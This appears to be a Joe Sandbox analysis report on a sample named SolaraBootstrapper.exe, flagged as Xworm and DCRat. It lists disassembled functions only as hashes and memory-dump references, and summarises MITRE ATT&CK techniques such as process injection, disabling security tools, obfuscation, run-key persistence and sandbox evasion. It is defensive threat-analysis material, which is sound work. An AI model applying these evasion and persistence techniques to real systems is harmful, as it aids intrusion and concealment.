Opcode ID: b5e1dc32f3aba522e17cbb0db84e8cba7e9d3c650b4bb1d5479a0bf45646be21
Instruction ID: c47b035c2c21b57f9d08405fae3ad155f3333bd438f20ede2bc0348a5e0a040f
Opcode Fuzzy Hash: b5e1dc32f3aba522e17cbb0db84e8cba7e9d3c650b4bb1d5479a0bf45646be21
Instruction Fuzzy Hash: 331190B090CA4E8FEB99FF28C4592F97FA1EF59310F4082BED409C25A2EA2565558740

Function 00007FFB4B2625F1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f2dfecc7454ac1c3315d44f81aca174bc8c56c4a044ff6c1e4fdf905fb1aef
Instruction ID: 4429c145745e6b0dd0fc38af5d3e4b42b6a528e89973285e55523fcc8ce627e3
Opcode Fuzzy Hash: a2f2dfecc7454ac1c3315d44f81aca174bc8c56c4a044ff6c1e4fdf905fb1aef
Instruction Fuzzy Hash: CC116D7085C65A8FEB42BF78C94D6FA7FE8EF1A300F0185B6E418C7066EA34A5458751

Function 00007FFB4B264ACD Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3839136a798747cb4e5b16d368118d0451f624950c47856287f26aae8c4e42
Instruction ID: 5c484dcfaafef5633f3f37d636538fbe8eb5bd2b486f407ad9930c13372ac1ed
Opcode Fuzzy Hash: fd3839136a798747cb4e5b16d368118d0451f624950c47856287f26aae8c4e42
Instruction Fuzzy Hash: 96119DB0D0CA4A8FEB49FF38C8592BA7BA0FF18304F0444BED459C25A6DE34A440C751

Function 00007FFB4B265DB9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03094a9aa893afabd5539febe63f616540ee365cf7db0860d45c061b0178f397
Instruction ID: 3c90304f22c89c9f07a13ee62d30a93f028a49e4c1e69235a3460c9aed1f2310
Opcode Fuzzy Hash: 03094a9aa893afabd5539febe63f616540ee365cf7db0860d45c061b0178f397
Instruction Fuzzy Hash: 0E118FB190D68E8FEB92FF38C8592A97FE0FF29300F0444FAD408C70A6EA34A5448741

Function 00007FFB4B264C8D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63362d826a06debff46e4d763f82f9da6182d97adddc9843538bf0e714982ef6
Instruction ID: 44256ae77975c52cafe0102ee24561bcba2b247cab8379641bb2046e0690a1b4
Opcode Fuzzy Hash: 63362d826a06debff46e4d763f82f9da6182d97adddc9843538bf0e714982ef6
Instruction Fuzzy Hash: 9911907090D94A8FEB45FF38C8192B97AE1FF14300F0045BED859C61A2EA346540C741

Function 00007FFB4B25BE49 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03332ee7840cde049e046b52bdc224a8efbbf46146b0ba59bc2784e879f4d372
Instruction ID: 6dbefe8e0e6799ea52b54afe1ead5ac376cfefe59758f7832b0e56581c0126a3
Opcode Fuzzy Hash: 03332ee7840cde049e046b52bdc224a8efbbf46146b0ba59bc2784e879f4d372
Instruction Fuzzy Hash: B6119A7080DA8D8FEB55FF34C85D6B97FB1FF1A300F4444AAD909C61A2DA35A591C700

Function 00007FFB4B267991 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a4a794caeabeda4ca34874aa38e21474f2e17d6b6a7d1c808b7643e20e14cf
Instruction ID: 6e3420c95ab9b8707c18ec3ff4a8d1dfb495560176d2f1fb5762bca167953594
Opcode Fuzzy Hash: 63a4a794caeabeda4ca34874aa38e21474f2e17d6b6a7d1c808b7643e20e14cf
Instruction Fuzzy Hash: 7401927084E64A8FEB49FF38C4596B97FE0FF09300F0144BED809C61A2EA39A540C741

Function 00007FFB4B252EC1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a7172740f017383e22d476c5899b814b9b263eef34345630e02b2d21ec729c
Instruction ID: 9f87745ae02db95223b70c6181c4dfa9edcdd558335d1897a7f644b677ab7da3
Opcode Fuzzy Hash: e0a7172740f017383e22d476c5899b814b9b263eef34345630e02b2d21ec729c
Instruction Fuzzy Hash: F9017CB091D64E8FEB51FF34C9496B97FE4FF19301F0588B6D908C60A2EA38E4848751

Function 00007FFB4B25B9FA Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f117afdec50d4f55b6f0fca2f7fabd30b2550d007187ffb4f52498b177e31af
Instruction ID: 9894a159efc3ef92036c88c85123b9fcce09a867262d469a79534740a3f04078
Opcode Fuzzy Hash: 5f117afdec50d4f55b6f0fca2f7fabd30b2550d007187ffb4f52498b177e31af
Instruction Fuzzy Hash: 0D018CB0C1890E8FEB94FF78C85D6F97AE0FF18300F1045BAD81AC21A1DA31A150C740

Function 00007FFB4B262095 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6658f321a4eecfb58ea79786f8f96e22a455d0f43312c4e87212b6d00d208362
Instruction ID: fa9a41001e45b9116334390c33352bf423b1ef767b71cd54cb2a183626b056f2
Opcode Fuzzy Hash: 6658f321a4eecfb58ea79786f8f96e22a455d0f43312c4e87212b6d00d208362
Instruction Fuzzy Hash: F7019E70D4E6498FEB59FF38C8592B97FA0FF19310F0148BED909C64A2DA25A540C740

Function 00007FFB4B25289D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6413aae1062978c8b73d0b7b1a409619595e61af26d9aae5c4282c9b2963a795
Instruction ID: 1b5918b620987255eb2eca4e50863cdfc4b4339db64713b1f17d14333c0b5cec
Opcode Fuzzy Hash: 6413aae1062978c8b73d0b7b1a409619595e61af26d9aae5c4282c9b2963a795
Instruction Fuzzy Hash: 7F015EB081D64E8FEB51FF74C98CAE97FE4EF59310F4189B6D508C60A6EA28E584C750

Function 00007FFB4B262EC0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5f8e7822ffe1b2ec838052d9455fd06e9df45f8c9bfa8b5f85566db06fb956
Instruction ID: d09419fa6cf850b8b1c784f95f01972a6c5a9ff33a0ddcc9ec292581fca73032
Opcode Fuzzy Hash: 1e5f8e7822ffe1b2ec838052d9455fd06e9df45f8c9bfa8b5f85566db06fb956
Instruction Fuzzy Hash: 5001ADB1D0CA0E8AEF51FF78C9112FABAB4FB19310F00453AE50DE2181DE28A4448691

Function 00007FFB4B2678B9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cbcf265215139dd17eb4884416ed5f23b5b74b0e89d06c9204223c8fa8cc7c
Instruction ID: 96289ae128b0135e43de72ff2ad7d94c5103f3cc0a5716b801ad21071c3a480d
Opcode Fuzzy Hash: c6cbcf265215139dd17eb4884416ed5f23b5b74b0e89d06c9204223c8fa8cc7c
Instruction Fuzzy Hash: 9501847184E6898FEB56FF38C8592B97FA0EF15300F0148FED809C74A2DA29A954C711

Function 00007FFB4B2672E9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b261000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebeee76b628641783910e242b36f679f6fb767c8b6dcc858adc0302eecb4d3d
Instruction ID: c8a0e231c6d13539ceae00a659cd1293618a7c54218dcd03e133126b8a70771b
Opcode Fuzzy Hash: 3ebeee76b628641783910e242b36f679f6fb767c8b6dcc858adc0302eecb4d3d
Instruction Fuzzy Hash: 4A01B57094D68A8FE752FF38C9492A97FE0EF15300F0644F7D908C6072EA28A4548711

Function 00007FFB4B25A839 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523a9dabef57523844bf430f9269c3d0a08096fc598acfa7067e7cdce3d464dd
Instruction ID: ff88230df7082e4446d5a5666513476bd617e361ab39becbb1e17b119897233f
Opcode Fuzzy Hash: 523a9dabef57523844bf430f9269c3d0a08096fc598acfa7067e7cdce3d464dd
Instruction Fuzzy Hash: 9901847094E64A9FE752FF34C95D5E97FE4EF56300F0688F6D508C70B2E928A4458701

Function 00007FFB4B2505D8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178ccee0b4ad9366885dfd5dcb5cd982034a80073da2d2dfa379fca772518472
Instruction ID: 1d84621d5a45f90d4933968931af6198e3d63055d6928dbbc7b38feb6962e868
Opcode Fuzzy Hash: 178ccee0b4ad9366885dfd5dcb5cd982034a80073da2d2dfa379fca772518472
Instruction Fuzzy Hash: 020184B090950E8FDB8CFF34C555AB97BE1EF5830AF10847DD41AD21A0CA75A451CB40

Function 00007FFB4B251CED Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da61deca17890d3992fde004b198d87e5b0dfdbaf352e495dffbcaff2504b2d
Instruction ID: 8c6306a9dc2fe94875e9243a07f660bc65724930f95d473d6d6602e61820d32f
Opcode Fuzzy Hash: 0da61deca17890d3992fde004b198d87e5b0dfdbaf352e495dffbcaff2504b2d
Instruction Fuzzy Hash: A001D6B080E68D8FDB49BF24C8596B93FA0EF15306F4041BAD908C60A1DB75D460C740

Function 00007FFB4B250610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5df0a39a93b72135796826f7d7d8a6a185fb93f1765a357ee6a596ab57ea38
Instruction ID: b989a8d2cfb2ef1934c2c62b0419de44c21d4dd787286bdda144a62e810c3972
Opcode Fuzzy Hash: 4e5df0a39a93b72135796826f7d7d8a6a185fb93f1765a357ee6a596ab57ea38
Instruction Fuzzy Hash: 1D01467081990E8BEB59FF74C4486FA7AA4FF18305F5048BEE80AC21E1DE3AA550C610

Function 00007FFB4B250608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc2c4354903191bbf3e1dec0cf7ad2c762af526d678c8700a86eabd4d0dd877
Instruction ID: 8f22700595bb1859bdfc181fbf07bb12a959b942b23ee29253e87e675f0ff208
Opcode Fuzzy Hash: afc2c4354903191bbf3e1dec0cf7ad2c762af526d678c8700a86eabd4d0dd877
Instruction Fuzzy Hash: 3C01817081950E8BEF59FF74C4596B97BA4FF18305F5048BED40EC25E1DE39A191CA10

Function 00007FFB4B2527B9 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b250000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2511be8991f259316ef7a69aba8bdf65947d77e21f0c8767841c4d5df303327
Instruction ID: a2f9eb3674f636fa0a26171c704e41c6d9cad1b89a3ece6aed288ac8ab2e555c
Opcode Fuzzy Hash: c2511be8991f259316ef7a69aba8bdf65947d77e21f0c8767841c4d5df303327
Instruction Fuzzy Hash: 66F0C27080E78D8FEB5AEF30C9595A93FA4EF06300F4545BBD809C60E2DA28A444C711

Function 00007FFB4B25AF5D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13bc636d29011636c7de33fdd9b3b5623c8b8f3e8f962bd4d458a8a7aded7615
Instruction ID: d2ff0ff5c299c3bf7c5f6b5d359b5c1eda277db37514e2e2b88a2ed8590d9deb
Opcode Fuzzy Hash: 13bc636d29011636c7de33fdd9b3b5623c8b8f3e8f962bd4d458a8a7aded7615
Instruction Fuzzy Hash: 11F0ECB0D09A199FEB90EF28C845FAAB7B1FF59300F5082E5D40DD3165DE3459828F40

Function 00007FFB4B25A8A5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b6c1dc73cc5682136d07b2edb888ec10f78ae45140278ec73911c8cd4ea683
Instruction ID: 429ce75066f98f3fad9cf5861e871431e3f7694bea1df644224e7ccad0542bd9
Opcode Fuzzy Hash: 01b6c1dc73cc5682136d07b2edb888ec10f78ae45140278ec73911c8cd4ea683
Instruction Fuzzy Hash: 33F08C7590E3824FD312AA34D9A64E93F70AF42310B0A89F3C149CA0B3EA18A8468711

Function 00007FFB4B25A8B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da51099ebea4605d03c776e8991c43e8bca79c3cb9ae8c9e56138e62272d4f9a
Instruction ID: fd79068050d99fb1a6a104c851cc7253bf1ee0ad7dd0cd74110fe384aad66764
Opcode Fuzzy Hash: da51099ebea4605d03c776e8991c43e8bca79c3cb9ae8c9e56138e62272d4f9a
Instruction Fuzzy Hash: 59E08C75D0E117AAE621BE38E5A64FA37A8AF41328B148A72D54D410A3ED18B04A0554

Function 00007FFB4B25E773 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2111309662.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffb4b25a000_smss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eec56b0c9ddc27d170119e4f36c8106995aeff7bf02ddafa8b1c082d6493455
Instruction ID: 68e88bbb5f6b065058d42c90b87837f1655e9578e02549bc5678612df58eba38
Opcode Fuzzy Hash: 2eec56b0c9ddc27d170119e4f36c8106995aeff7bf02ddafa8b1c082d6493455
Instruction Fuzzy Hash: BBD09EB080862D8EDBA4EF14C8857AC7AB1FB14345F1040A9950DD2290CB745AC0CF04

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SolaraBootstrapper.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

